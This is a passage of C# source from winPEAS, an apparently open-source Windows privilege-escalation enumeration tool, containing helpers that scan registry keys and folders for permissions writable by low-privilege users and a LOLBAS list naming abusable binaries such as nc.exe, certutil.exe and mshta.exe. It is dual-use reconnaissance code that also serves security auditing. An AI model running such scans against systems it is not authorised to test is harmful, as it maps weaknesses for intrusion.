//{\"Delete\" , 65536},  //Grants permission to delete the service.\n                    //{\"ReadControl\" , 131072}, //Grants permission to query the service's security descriptor.\n                    {\"WriteDac\" , 0x40000},  //Grants permission to set the service's discretionary access list.\n                    {\"WriteOwner\" , 0x80000},  //Grants permission to modify the group and owner of a service.\n                    //{\"Synchronize\" , 1048576},\n                    {\"AccessSystemSecurity\" , 16777216}, //The right to get or set the SACL in the object security descriptor.\n                    {\"GenericAll\" , 0x1000_0000},\n                    //{\"GenericWrite\" , 0x4000_0000},\n                    //{\"GenericExecute\" , 0x2000_0000},\n                    {\"GenericWrite (ChangeConfig)\" , 0x2_0002},\n                    {\"GenericExecute (Start/Stop)\" , 0x2_01F0},\n                    {\"Start\" , 0x0010}, //Grants permission to start the service.\n                    {\"Stop\" , 0x0020},  //Grants permission to stop the service.\n                    //{\"GenericRead\" , 2147483648}\n                };\n            }\n\n\n            try\n            {\n                foreach (KeyValuePair<string, int> entry in interesting_perms)\n                {\n                    if ((entry.Value & current_perm) == entry.Value)\n                    {\n                        return entry.Key;\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error in PermInt2Str: \" + ex);\n            }\n            return \"\";\n        }\n\n        public static string GetFolderFromString(string path)\n        {\n            string fpath = path;\n            if (!Directory.Exists(path))\n            {\n                Match reg_path = Regex.Match(path.ToString(), @\"\\W*([a-z]:\\\\.+?(\\.[a-zA-Z0-9_-]+))\\W*\", RegexOptions.IgnoreCase);\n                string binaryPath = reg_path.Groups[1].ToString();\n                if (File.Exists(binaryPath))\n                    fpath = Path.GetDirectoryName(binaryPath);\n                else\n                    fpath = \"\";\n            }\n            return fpath;\n        }\n\n        //From https://stackoverflow.com/questions/929276/how-to-recursively-list-all-the-files-in-a-directory-in-c\n        public static Dictionary<string, string> GetRecursivePrivs(string path, int cont = 0)\n        {\n            /*string root = @Path.GetPathRoot(Environment.SystemDirectory) + path;\n            var dirs = from dir in Directory.EnumerateDirectories(root) select dir;\n            return dirs.ToList();*/\n            Dictionary<string, string> results = new Dictionary<string, string>();\n            int max_dir_recurse = 130;\n            if (cont > max_dir_recurse)\n            {\n                return results; //\"Limit\" for apps with hundreds of thousands of folders\n            }\n\n            results[path] = \"\"; //If you cant open, then there are no privileges for you (and the try will explode)\n            try\n            {\n                results[path] = String.Join(\", \", GetPermissionsFolder(path, Checks.Checks.CurrentUserSiDs));\n                if (string.IsNullOrEmpty(results[path]))\n                {\n                    if (Directory.Exists(path))\n                    {\n                        foreach (string d in Directory.EnumerateDirectories(path))\n                        {\n                            foreach (string f in Directory.EnumerateFiles(d))\n                            {\n                                results[f] = String.Join(\", \", GetPermissionsFile(f, Checks.Checks.CurrentUserSiDs));\n                            }\n                            cont += 1;\n                            results.Concat(GetRecursivePrivs(d, cont)).ToDictionary(kvp => kvp.Key, kvp => kvp.Value);\n                        }\n                    }\n                }\n            }\n            catch\n            {\n                //Access denied to a path\n            }\n            return results;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/ProgressBar.cs",
    "content": "﻿using System;\nusing System.Text;\nusing System.Threading;\n\nnamespace winPEAS.Helpers\n{\n    internal class ProgressBar : IDisposable, IProgress<double>\n    {\n        private const int blockCount = 10;\n        private readonly TimeSpan animationInterval = TimeSpan.FromSeconds(1.0 / 8);\n        private const string animation = @\"|/-\\\";\n\n        private readonly Timer timer;\n\n        private double currentProgress = 0;\n        private string currentText = string.Empty;\n        private bool disposed = false;\n        private int animationIndex = 0;\n\n        public ProgressBar()\n        {\n            timer = new Timer(TimerHandler, new object(), animationInterval, animationInterval);\n        }\n\n        public void Report(double value)\n        {\n            // Make sure value is in [0..1] range\n            value = Math.Max(0, Math.Min(1, value));\n            Interlocked.Exchange(ref currentProgress, value);\n        }\n\n        private void TimerHandler(object state)\n        {\n            lock (timer)\n            {\n                if (disposed) return;\n\n                int progressBlockCount = (int)(currentProgress * blockCount);\n                int percent = (int)(currentProgress * 100);\n                string text = string.Format(\"[{0}{1}] {2,3}% {3}\",\n                    new string('#', progressBlockCount), new string('-', blockCount - progressBlockCount),\n                    percent,\n                    animation[animationIndex++ % animation.Length]);\n                UpdateText(text);\n            }\n        }\n\n        private void UpdateText(string text)\n        {\n            // Get length of common portion\n            int commonPrefixLength = 0;\n            int commonLength = Math.Min(currentText.Length, text.Length);\n            while (commonPrefixLength < commonLength && text[commonPrefixLength] == currentText[commonPrefixLength])\n            {\n                commonPrefixLength++;\n            }\n\n            // Backtrack to the first differing character\n            StringBuilder outputBuilder = new StringBuilder();\n            outputBuilder.Append('\\b', currentText.Length - commonPrefixLength);\n\n            // Output new suffix\n            outputBuilder.Append(text.Substring(commonPrefixLength));\n\n            // If the new text is shorter than the old one: delete overlapping characters\n            int overlapCount = currentText.Length - text.Length;\n            if (overlapCount > 0)\n            {\n                outputBuilder.Append(' ', overlapCount);\n                outputBuilder.Append('\\b', overlapCount);\n            }\n\n            Console.Write(outputBuilder);\n            currentText = text;\n        }\n\n        public void Dispose()\n        {\n            lock (timer)\n            {\n                disposed = true;\n                UpdateText(string.Empty);\n                timer.Dispose();\n            }\n        }\n\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/ReflectionHelper.cs",
    "content": "﻿using System;\nusing System.Reflection;\n\nnamespace winPEAS.Helpers\n{\n    internal static class ReflectionHelper\n    {\n        public static object InvokeMemberMethod(object target, string name, object[] args = null)\n        {\n            if (target == null) throw new ArgumentNullException(nameof(target));\n\n            object result = InvokeMember(target, name, BindingFlags.InvokeMethod, args);\n\n            return result;\n        }\n\n        public static object InvokeMemberProperty(object target, string name, object[] args = null)\n        {\n            if (target == null) throw new ArgumentNullException(nameof(target));\n\n            object result = InvokeMember(target, name, BindingFlags.GetProperty, args);\n\n            return result;\n        }\n\n        private static object InvokeMember(object target, string name, BindingFlags invokeAttr, object[] args = null)\n        {\n            if (target == null) throw new ArgumentNullException(nameof(target));\n\n            object result = target.GetType().InvokeMember(name, invokeAttr, null, target, args);\n\n            return result;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/Registry/RegistryAclScanner.cs",
    "content": "using Microsoft.Win32;\nusing System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Security.AccessControl;\nusing System.Security.Principal;\nusing winPEAS.Helpers;\n\nnamespace winPEAS.Helpers.Registry\n{\n    internal class RegistryWritableKeyInfo\n    {\n        public string Hive { get; set; }\n        public string RelativePath { get; set; }\n        public string FullPath { get; set; }\n        public List<string> Principals { get; set; } = new List<string>();\n        public List<string> Rights { get; set; } = new List<string>();\n    }\n\n    internal static class RegistryAclScanner\n    {\n        private static readonly Dictionary<string, string> LowPrivSidMap = new Dictionary<string, string>(StringComparer.OrdinalIgnoreCase)\n        {\n            { new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null).Value, \"BUILTIN\\\\Users\" },\n            { new SecurityIdentifier(WellKnownSidType.AuthenticatedUserSid, null).Value, \"Authenticated Users\" },\n            { new SecurityIdentifier(WellKnownSidType.WorldSid, null).Value, \"Everyone\" },\n            { new SecurityIdentifier(WellKnownSidType.InteractiveSid, null).Value, \"Interactive\" },\n            { new SecurityIdentifier(WellKnownSidType.BuiltinGuestsSid, null).Value, \"BUILTIN\\\\Guests\" },\n        };\n\n        public static bool TryGetWritableKey(string hive, string relativePath, out RegistryWritableKeyInfo info)\n        {\n            info = null;\n            using (var key = OpenKey(hive, relativePath))\n            {\n                if (key == null)\n                {\n                    return false;\n                }\n\n                return TryCollectWritableInfo(hive, relativePath, key, out info);\n            }\n        }\n\n        public static List<RegistryWritableKeyInfo> ScanWritableKeys(string hive, IEnumerable<string> basePaths, int maxDepth, int maxResults)\n        {\n            var results = new List<RegistryWritableKeyInfo>();\n            var seenPaths = new HashSet<string>(StringComparer.OrdinalIgnoreCase);\n\n            foreach (var basePath in basePaths ?? Enumerable.Empty<string>())\n            {\n                if (results.Count >= maxResults)\n                {\n                    break;\n                }\n\n                using (var key = OpenKey(hive, basePath))\n                {\n                    if (key == null)\n                    {\n                        continue;\n                    }\n\n                    Traverse(hive, key, basePath, 0, maxDepth, maxResults, seenPaths, results);\n                }\n            }\n\n            return results;\n        }\n\n        private static void Traverse(string hive, RegistryKey currentKey, string currentPath, int depth, int maxDepth, int maxResults, HashSet<string> seenPaths, List<RegistryWritableKeyInfo> results)\n        {\n            if (currentKey == null || results.Count >= maxResults)\n            {\n                return;\n            }\n\n            if (TryCollectWritableInfo(hive, currentPath, currentKey, out var info))\n            {\n                if (seenPaths.Add(info.FullPath))\n                {\n                    results.Add(info);\n                }\n\n                if (results.Count >= maxResults)\n                {\n                    return;\n                }\n            }\n\n            if (depth >= maxDepth)\n            {\n                return;\n            }\n\n            string[] subKeys;\n            try\n            {\n                subKeys = currentKey.GetSubKeyNames();\n            }\n            catch\n            {\n                return;\n            }\n\n            foreach (var subKeyName in subKeys)\n            {\n                if (results.Count >= maxResults)\n                {\n                    break;\n                }\n\n                try\n                {\n                    using (var childKey = currentKey.OpenSubKey(subKeyName))\n                    {\n                        if (childKey == null)\n                        {\n                            continue;\n                        }\n\n                        string childPath = string.IsNullOrEmpty(currentPath) ? subKeyName : $\"{currentPath}\\\\{subKeyName}\";\n                        Traverse(hive, childKey, childPath, depth + 1, maxDepth, maxResults, seenPaths, results);\n                    }\n                }\n                catch\n                {\n                    // Ignore keys we cannot open\n                }\n            }\n        }\n\n        private static bool TryCollectWritableInfo(string hive, string relativePath, RegistryKey key, out RegistryWritableKeyInfo info)\n        {\n            info = null;\n\n            try\n            {\n                var acl = key.GetAccessControl(AccessControlSections.Access);\n\n                var principals = new HashSet<string>(StringComparer.OrdinalIgnoreCase);\n                var rights = new HashSet<string>(StringComparer.OrdinalIgnoreCase);\n\n                foreach (RegistryAccessRule rule in acl.GetAccessRules(true, true, typeof(SecurityIdentifier)))\n                {\n                    if (rule.AccessControlType != AccessControlType.Allow)\n                    {\n                        continue;\n                    }\n\n                    var sid = rule.IdentityReference as SecurityIdentifier ?? rule.IdentityReference.Translate(typeof(SecurityIdentifier)) as SecurityIdentifier;\n                    if (sid == null)\n                    {\n                        continue;\n                    }\n\n                    if (!LowPrivSidMap.TryGetValue(sid.Value, out var label))\n                    {\n                        continue;\n                    }\n\n                    string interestingRight = PermissionsHelper.PermInt2Str((int)rule.RegistryRights, PermissionType.WRITEABLE_OR_EQUIVALENT_REG);\n                    if (string.IsNullOrEmpty(interestingRight))\n                    {\n                        continue;\n                    }\n\n                    principals.Add($\"{label} ({sid.Value})\");\n                    rights.Add(interestingRight);\n                }\n\n                if (principals.Count == 0)\n                {\n                    return false;\n                }\n\n                string normalizedRelativePath = relativePath ?? string.Empty;\n                string fullPath = string.IsNullOrEmpty(normalizedRelativePath) ? key.Name : $\"{hive}\\\\{normalizedRelativePath}\";\n\n                info = new RegistryWritableKeyInfo\n                {\n                    Hive = hive,\n                    RelativePath = normalizedRelativePath,\n                    FullPath = fullPath,\n                    Principals = principals.ToList(),\n                    Rights = rights.ToList(),\n                };\n                return true;\n            }\n            catch\n            {\n                return false;\n            }\n        }\n\n        private static RegistryKey OpenKey(string hive, string path)\n        {\n            if (string.IsNullOrEmpty(path))\n            {\n                return null;\n            }\n\n            try\n            {\n                RegistryKey baseKey = hive switch\n                {\n                    \"HKLM\" => Microsoft.Win32.Registry.LocalMachine,\n                    \"HKCU\" => Microsoft.Win32.Registry.CurrentUser,\n                    \"HKU\" => Microsoft.Win32.Registry.Users,\n                    _ => null,\n                };\n\n                return baseKey?.OpenSubKey(path);\n            }\n            catch\n            {\n                return null;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/Registry/RegistryHelper.cs",
    "content": "﻿using Microsoft.Win32;\nusing System;\nusing System.Collections.Generic;\nusing System.Linq;\n\nnamespace winPEAS.Helpers.Registry\n{\n    static class RegistryHelper\n    {\n        ///////////////////////////////////////////\n        /// Interf. for Keys and Values in Reg. ///\n        ///////////////////////////////////////////\n        /// Functions related to obtain keys and values from the registry\n        /// Some parts adapted from Seatbelt\n        public static Microsoft.Win32.RegistryKey GetReg(string hive, string path)\n        {\n            if (hive == \"HKCU\")\n                return Microsoft.Win32.Registry.CurrentUser.OpenSubKey(path);\n\n            else if (hive == \"HKU\")\n                return Microsoft.Win32.Registry.Users.OpenSubKey(path);\n\n            else\n                return Microsoft.Win32.Registry.LocalMachine.OpenSubKey(path);\n        }\n\n        public static bool WriteRegValue(string hive, string path, string keyName, string value)\n        {\n            try\n            {\n                RegistryKey regKey;\n                if (hive == \"HKCU\")\n                {\n                    regKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(path);\n                }\n                else if (hive == \"HKU\")\n                {\n                    regKey = Microsoft.Win32.Registry.Users.OpenSubKey(path);\n\n                }\n                else\n                {\n                    regKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(path);\n                }\n\n                if (regKey == null)\n                {\n                    return false;\n                }\n\n                regKey.SetValue(keyName, value, RegistryValueKind.String);\n            }\n            catch (Exception ex)\n            {\n                return false;\n            }\n\n            return true;\n        }\n\n        public static string GetRegValue(string hive, string path, string value)\n        {\n            // returns a single registry value under the specified path in the specified hive (HKLM/HKCU)\n            string regKeyValue = \"\";\n            if (hive == \"HKCU\")\n            {\n                var regKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(path);\n                if (regKey != null)\n                {\n                    regKeyValue = string.Format(\"{0}\", regKey.GetValue(value));\n                }\n                return regKeyValue;\n            }\n            else if (hive == \"HKU\")\n            {\n                var regKey = Microsoft.Win32.Registry.Users.OpenSubKey(path);\n                if (regKey != null)\n                {\n                    regKeyValue = string.Format(\"{0}\", regKey.GetValue(value));\n                }\n                return regKeyValue;\n            }\n            else\n            {\n                var regKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(path);\n                if (regKey != null)\n                {\n                    regKeyValue = string.Format(\"{0}\", regKey.GetValue(value));\n                }\n                return regKeyValue;\n            }\n        }\n\n        public static Dictionary<string, object> GetRegValues(string hive, string path)\n        {\n            // returns all registry values under the specified path in the specified hive (HKLM/HKCU)\n            Dictionary<string, object> keyValuePairs = null;\n            try\n            {\n                if (hive == \"HKCU\")\n                {\n                    using (var regKeyValues = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(path))\n                    {\n                        if (regKeyValues != null)\n                        {\n                            var valueNames = regKeyValues.GetValueNames();\n                            keyValuePairs = valueNames.ToDictionary(name => name, regKeyValues.GetValue);\n                        }\n                    }\n                }\n                else if (hive == \"HKU\")\n                {\n                    using (var regKeyValues = Microsoft.Win32.Registry.Users.OpenSubKey(path))\n                    {\n                        if (regKeyValues != null)\n                        {\n                            var valueNames = regKeyValues.GetValueNames();\n                            keyValuePairs = valueNames.ToDictionary(name => name, regKeyValues.GetValue);\n                        }\n                    }\n                }\n                else\n                {\n                    using (var regKeyValues = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(path))\n                    {\n                        if (regKeyValues != null)\n                        {\n                            var valueNames = regKeyValues.GetValueNames();\n                            keyValuePairs = valueNames.ToDictionary(name => name, regKeyValues.GetValue);\n                        }\n                    }\n                }\n                return keyValuePairs;\n            }\n            catch\n            {\n                return null;\n            }\n        }\n\n        public static string[] ListRegValues(string hive, string path)\n        {\n            string[] keys = null;\n            try\n            {\n                if (hive == \"HKCU\")\n                {\n                    using (var regKeyValues = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(path))\n                    {\n                        if (regKeyValues != null)\n                        {\n                            keys = regKeyValues.GetValueNames();\n                        }\n                    }\n                }\n                else if (hive == \"HKU\")\n                {\n                    using (var regKeyValues = Microsoft.Win32.Registry.Users.OpenSubKey(path))\n                    {\n                        if (regKeyValues != null)\n                        {\n                            keys = regKeyValues.GetValueNames();\n                        }\n                    }\n                }\n                else\n                {\n                    using (var regKeyValues = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(path))\n                    {\n                        if (regKeyValues != null)\n                        {\n                            keys = regKeyValues.GetValueNames();\n                        }\n                    }\n                }\n                return keys;\n            }\n            catch\n            {\n                return null;\n            }\n        }\n\n        public static byte[] GetRegValueBytes(string hive, string path, string value)\n        {\n            // returns a byte array of single registry value under the specified path in the specified hive (HKLM/HKCU)\n            byte[] regKeyValue = null;\n            if (hive == \"HKCU\")\n            {\n                var regKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(path);\n                if (regKey != null)\n                {\n                    regKeyValue = (byte[])regKey.GetValue(value);\n                }\n                return regKeyValue;\n            }\n            else if (hive == \"HKU\")\n            {\n                var regKey = Microsoft.Win32.Registry.Users.OpenSubKey(path);\n                if (regKey != null)\n                {\n                    regKeyValue = (byte[])regKey.GetValue(value);\n                }\n                return regKeyValue;\n            }\n            else\n            {\n                var regKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(path);\n                if (regKey != null)\n                {\n                    regKeyValue = (byte[])regKey.GetValue(value);\n                }\n                return regKeyValue;\n            }\n        }\n\n        public static string[] GetRegSubkeys(string hive, string path)\n        {\n            // returns an array of the subkeys names under the specified path in the specified hive (HKLM/HKCU/HKU)\n            try\n            {\n                RegistryKey myKey = null;\n                if (hive == \"HKLM\")\n                {\n                    myKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(path);\n                }\n                else if (hive == \"HKU\")\n                {\n                    myKey = Microsoft.Win32.Registry.Users.OpenSubKey(path);\n                }\n                else\n                {\n                    myKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(path);\n                }\n\n                if (myKey == null)\n                {\n                    return new string[0];\n                }\n\n                String[] subkeyNames = myKey.GetSubKeyNames();\n                return myKey.GetSubKeyNames();\n            }\n            catch\n            {\n                return new string[0];\n            }\n        }\n\n        public static string[] GetUserSIDs()\n        {\n            return Microsoft.Win32.Registry.Users.GetSubKeyNames() ?? new string[] { };\n        }\n\n        internal static uint? GetDwordValue(string hive, string key, string val)\n        {\n            string strValue = GetRegValue(hive, key, val);\n\n            if (uint.TryParse(strValue, out uint res))\n            {\n                return res;\n            }\n\n            return null;\n        }\n\n        public static string CheckIfExists(string path)\n        {\n            try\n            {\n                var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(path);\n                if (key != null)\n                    return \"HKLM\";\n\n                key = Microsoft.Win32.Registry.Users.OpenSubKey(path);\n                if (key != null)\n                    return \"HKU\";\n\n                key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(path);\n                if (key != null)\n                    return \"HKCU\";\n\n                return null;\n            }\n            catch\n            {\n                return null;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/RegistryHelper.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing Microsoft.Win32;\n\nnamespace winPEAS.Helpers\n{\n    static class RegistryHelper\n    {\n        ///////////////////////////////////////////\n        /// Interf. for Keys and Values in Reg. ///\n        ///////////////////////////////////////////\n        /// Functions related to obtain keys and values from the registry\n        /// Some parts adapted from Seatbelt\n        public static string GetRegValue(string hive, string path, string value)\n        {\n            // returns a single registry value under the specified path in the specified hive (HKLM/HKCU)\n            string regKeyValue = \"\";\n            if (hive == \"HKCU\")\n            {\n                var regKey = Registry.CurrentUser.OpenSubKey(path);\n                if (regKey != null)\n                {\n                    regKeyValue = string.Format(\"{0}\", regKey.GetValue(value));\n                }\n                return regKeyValue;\n            }\n            else if (hive == \"HKU\")\n            {\n                var regKey = Registry.Users.OpenSubKey(path);\n                if (regKey != null)\n                {\n                    regKeyValue = string.Format(\"{0}\", regKey.GetValue(value));\n                }\n                return regKeyValue;\n            }\n            else\n            {\n                var regKey = Registry.LocalMachine.OpenSubKey(path);\n                if (regKey != null)\n                {\n                    regKeyValue = string.Format(\"{0}\", regKey.GetValue(value));\n                }\n                return regKeyValue;\n            }\n        }\n\n        public static Dictionary<string, object> GetRegValues(string hive, string path)\n        {\n            // returns all registry values under the specified path in the specified hive (HKLM/HKCU)\n            Dictionary<string, object> keyValuePairs = null;\n            try\n            {\n                if (hive == \"HKCU\")\n                {\n                    using (var regKeyValues = Registry.CurrentUser.OpenSubKey(path))\n                    {\n                        if (regKeyValues != null)\n                        {\n                            var valueNames = regKeyValues.GetValueNames();\n                            keyValuePairs = valueNames.ToDictionary(name => name, regKeyValues.GetValue);\n                        }\n                    }\n                }\n                else if (hive == \"HKU\")\n                {\n                    using (var regKeyValues = Registry.Users.OpenSubKey(path))\n                    {\n                        if (regKeyValues != null)\n                        {\n                            var valueNames = regKeyValues.GetValueNames();\n                            keyValuePairs = valueNames.ToDictionary(name => name, regKeyValues.GetValue);\n                        }\n                    }\n                }\n                else\n                {\n                    using (var regKeyValues = Registry.LocalMachine.OpenSubKey(path))\n                    {\n                        if (regKeyValues != null)\n                        {\n                            var valueNames = regKeyValues.GetValueNames();\n                            keyValuePairs = valueNames.ToDictionary(name => name, regKeyValues.GetValue);\n                        }\n                    }\n                }\n                return keyValuePairs;\n            }\n            catch\n            {\n                return null;\n            }\n        }\n\n        public static byte[] GetRegValueBytes(string hive, string path, string value)\n        {\n            // returns a byte array of single registry value under the specified path in the specified hive (HKLM/HKCU)\n            byte[] regKeyValue = null;\n            if (hive == \"HKCU\")\n            {\n                var regKey = Registry.CurrentUser.OpenSubKey(path);\n                if (regKey != null)\n                {\n                    regKeyValue = (byte[])regKey.GetValue(value);\n                }\n                return regKeyValue;\n            }\n            else if (hive == \"HKU\")\n            {\n                var regKey = Registry.Users.OpenSubKey(path);\n                if (regKey != null)\n                {\n                    regKeyValue = (byte[])regKey.GetValue(value);\n                }\n                return regKeyValue;\n            }\n            else\n            {\n                var regKey = Registry.LocalMachine.OpenSubKey(path);\n                if (regKey != null)\n                {\n                    regKeyValue = (byte[])regKey.GetValue(value);\n                }\n                return regKeyValue;\n            }\n        }\n\n        public static string[] GetRegSubkeys(string hive, string path)\n        {\n            // returns an array of the subkeys names under the specified path in the specified hive (HKLM/HKCU/HKU)\n            try\n            {\n                RegistryKey myKey = null;\n                if (hive == \"HKLM\")\n                {\n                    myKey = Registry.LocalMachine.OpenSubKey(path);\n                }\n                else if (hive == \"HKU\")\n                {\n                    myKey = Registry.Users.OpenSubKey(path);\n                }\n                else\n                {\n                    myKey = Registry.CurrentUser.OpenSubKey(path);\n                }\n                String[] subkeyNames = myKey.GetSubKeyNames();\n                return myKey.GetSubKeyNames();\n            }\n            catch\n            {\n                return new string[0];\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/Search/LOLBAS.cs",
    "content": "﻿using System.Collections.Generic;\n\nnamespace winPEAS.Helpers.Search\n{\n    class LOLBAS\n    {\n        public static readonly HashSet<string> FileWithExtension = new HashSet<string>(){\n            \"advpack.dll\",\n            \"appvlp.exe\",\n            \"at.exe\",\n            \"atbroker.exe\",\n            \"bash.exe\",\n            \"bginfo.exe\",\n            \"bitsadmin.exe\",\n            \"cl_invocation.ps1\",\n            \"cl_mutexverifiers.ps1\",\n            \"cdb.exe\",\n            \"certutil.exe\",\n            \"cmd.exe\",\n            \"cmdkey.exe\",\n            \"cmstp.exe\",\n            \"comsvcs.dll\",\n            \"control.exe\",\n            \"csc.exe\",\n            \"cscript.exe\",\n            \"desktopimgdownldr.exe\",\n            \"devtoolslauncher.exe\",\n            \"dfsvc.exe\",\n            \"diskshadow.exe\",\n            \"dnscmd.exe\",\n            \"dotnet.exe\",\n            \"dxcap.exe\",\n            \"esentutl.exe\",\n            \"eventvwr.exe\",\n            \"excel.exe\",\n            \"expand.exe\",\n            \"extexport.exe\",\n            \"extrac32.exe\",\n            \"findstr.exe\",\n            \"forfiles.exe\",\n            \"ftp.exe\",\n            \"gfxdownloadwrapper.exe\",\n            \"gpscript.exe\",\n            \"hh.exe\",\n            \"ie4uinit.exe\",\n            \"ieadvpack.dll\",\n            \"ieaframe.dll\",\n            \"ieexec.exe\",\n            \"ilasm.exe\",\n            \"infdefaultinstall.exe\",\n            \"installutil.exe\",\n            \"java.exe\",\n            \"jsc.exe\",\n            \"makecab.exe\",\n            \"manage-bde.wsf\",\n            \"mavinject.exe\",\n            \"mftrace.exe\",\n            \"microsoft.workflow.compiler.exe\",\n            \"mmc.exe\",\n            \"msbuild.exe\",\n            \"msconfig.exe\",\n            \"msdeploy.exe\",\n            \"msdt.exe\",\n            \"mshta.exe\",\n            \"mshtml.dll\",\n            \"msiexec.exe\",\n            \"netsh.exe\",\n            \"nc.exe\",\n            \"nc64.exe\",\n            \"nmap.exe\",\n            \"odbcconf.exe\",\n            \"pcalua.exe\",\n            \"pcwrun.exe\",\n            \"pcwutl.dll\",\n            \"pester.bat\",\n            \"powerpnt.exe\",\n            \"presentationhost.exe\",\n            \"print.exe\",\n            \"psr.exe\",\n            \"pubprn.vbs\",\n            \"rasautou.exe\",\n            \"reg.exe\",\n            \"regasm.exe\",\n            \"regedit.exe\",\n            \"regini.exe\",\n            \"register-cimprovider.exe\",\n            \"regsvcs.exe\",\n            \"regsvr32.exe\",\n            \"replace.exe\",\n            \"rpcping.exe\",\n            \"rundll32.exe\",\n            \"runonce.exe\",\n            \"runscripthelper.exe\",\n            \"sqltoolsps.exe\",\n            \"sc.exe\",\n            \"schtasks.exe\",\n            \"scriptrunner.exe\",\n            \"setupapi.dll\",\n            \"shdocvw.dll\",\n            \"shell32.dll\",\n            \"slmgr.vbs\",\n            \"sqldumper.exe\",\n            \"sqlps.exe\",\n            \"squirrel.exe\",\n            \"syncappvpublishingserver.exe\",\n            \"syncappvpublishingserver.vbs\",\n            \"syssetup.dll\",\n            \"tracker.exe\",\n            \"tttracer.exe\",\n            \"update.exe\",\n            \"url.dll\",\n            \"verclsid.exe\",\n            \"wab.exe\",\n            \"winword.exe\",\n            \"wmic.exe\",\n            \"wscript.exe\",\n            \"wsl.exe\",\n            \"wsreset.exe\",\n            \"xwizard.exe\",\n            \"zipfldr.dll\",\n            \"csi.exe\",\n            \"dnx.exe\",\n            \"msxsl.exe\",\n            \"ntdsutil.exe\",\n            \"rcsi.exe\",\n            \"te.exe\",\n            \"vbc.exe\",\n            \"vsjitdebugger.exe\",\n            \"winrm.vbs\",\n        };\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/Search/Patterns.cs",
    "content": "﻿using System.Collections.Generic;\n\nnamespace winPEAS.Helpers.Search\n{\n    static class Patterns\n    {\n        public static readonly HashSet<string> WhitelistExtensions = new HashSet<string>()\n        {\n            \".cer\",\n            \".csr\",\n            \".der\",\n            \".p12\",\n        };\n\n        public static readonly HashSet<string> WhiteListExactfilenamesWithExtensions = new HashSet<string>()\n        {\n            \"docker-compose.yml\",\n            \"dockerfile\",\n        };\n\n        public static readonly IList<string> WhiteListRegexp = new List<string>()\n        {\n            \"config.*\\\\.php$\",\n        };\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/Search/SearchHelper.cs",
    "content": "﻿using System;\r\nusing System.Collections.Concurrent;\r\nusing System.Collections.Generic;\r\nusing System.IO;\r\nusing System.Linq;\r\nusing System.Text.RegularExpressions;\r\nusing System.Threading.Tasks;\r\nusing FileInfo = Alphaleonis.Win32.Filesystem.FileInfo;\r\nusing DirectoryInfo = Alphaleonis.Win32.Filesystem.DirectoryInfo;\r\n\r\nnamespace winPEAS.Helpers.Search\r\n{\r\n    static class SearchHelper\r\n    {\r\n        public static List<CustomFileInfo> RootDirUsers = new List<CustomFileInfo>();\r\n        public static List<CustomFileInfo> RootDirCurrentUser = new List<CustomFileInfo>();\r\n        public static List<CustomFileInfo> ProgramFiles = new List<CustomFileInfo>();\r\n        public static List<CustomFileInfo> ProgramFilesX86 = new List<CustomFileInfo>();\r\n        public static List<CustomFileInfo> DocumentsAndSettings = new List<CustomFileInfo>();\r\n        public static List<CustomFileInfo> GroupPolicyHistory = new List<CustomFileInfo>();\r\n\r\n        public static string SystemDrive = Environment.GetEnvironmentVariable(\"SystemDrive\");\r\n        private static string GlobalPattern = \"*\";\r\n\r\n        public static List<string> StaticExtensions = new List<string>() {\r\n            // archives\r\n            \".7z\", \".tar\", \".zip\", \".gz\",\r\n\r\n            // audio/video\r\n            \".avi\", \".mp3\", \".mp4\", \".wav\", \".wmf\", \".wmv\", \".ts\", \".pak\",\r\n\r\n            // icons\r\n            \".ico\",\r\n\r\n            // fonts\r\n            \".eot\", \".fnt\", \".fon\", \".otf\", \".odttf\", \".ttc\", \".ttf\", \".woff\", \"woff2\", \"woff3\",\r\n\r\n            // images\r\n            \".bmp\", \".emf\", \".gif\", \".pm\",\r\n            \".jif\", \".jfi\", \".jfif\", \".jpe\", \".jpeg\", \".jpg\",\r\n            \".png\", \".psd\", \".raw\", \".svg\", \".svgz\", \".tif\", \".tiff\", \".webp\",\r\n        };\r\n\r\n        public static List<CustomFileInfo> GetFilesFast(string folder, string pattern = \"*\", HashSet<string> excludedDirs = null, bool isFoldersIncluded = false)\r\n        {\r\n            ConcurrentBag<CustomFileInfo> files = new ConcurrentBag<CustomFileInfo>();\r\n            IEnumerable<DirectoryInfo> startDirs = GetStartDirectories(folder, files, pattern, isFoldersIncluded);\r\n            IList<DirectoryInfo> startDirsExcluded = new List<DirectoryInfo>();\r\n            ConcurrentDictionary<string, byte> known_dirs = new ConcurrentDictionary<string, byte>();\r\n\r\n            if (excludedDirs != null)\r\n            {\r\n                foreach (var startDir in startDirs)\r\n                {\r\n                    bool shouldAdd = true;\r\n                    string startDirLower = startDir.FullName.ToLower();\r\n\r\n                    shouldAdd = !excludedDirs.Contains(startDirLower);\r\n\r\n                    if (shouldAdd)\r\n                    {\r\n                        startDirsExcluded.Add(startDir);\r\n                    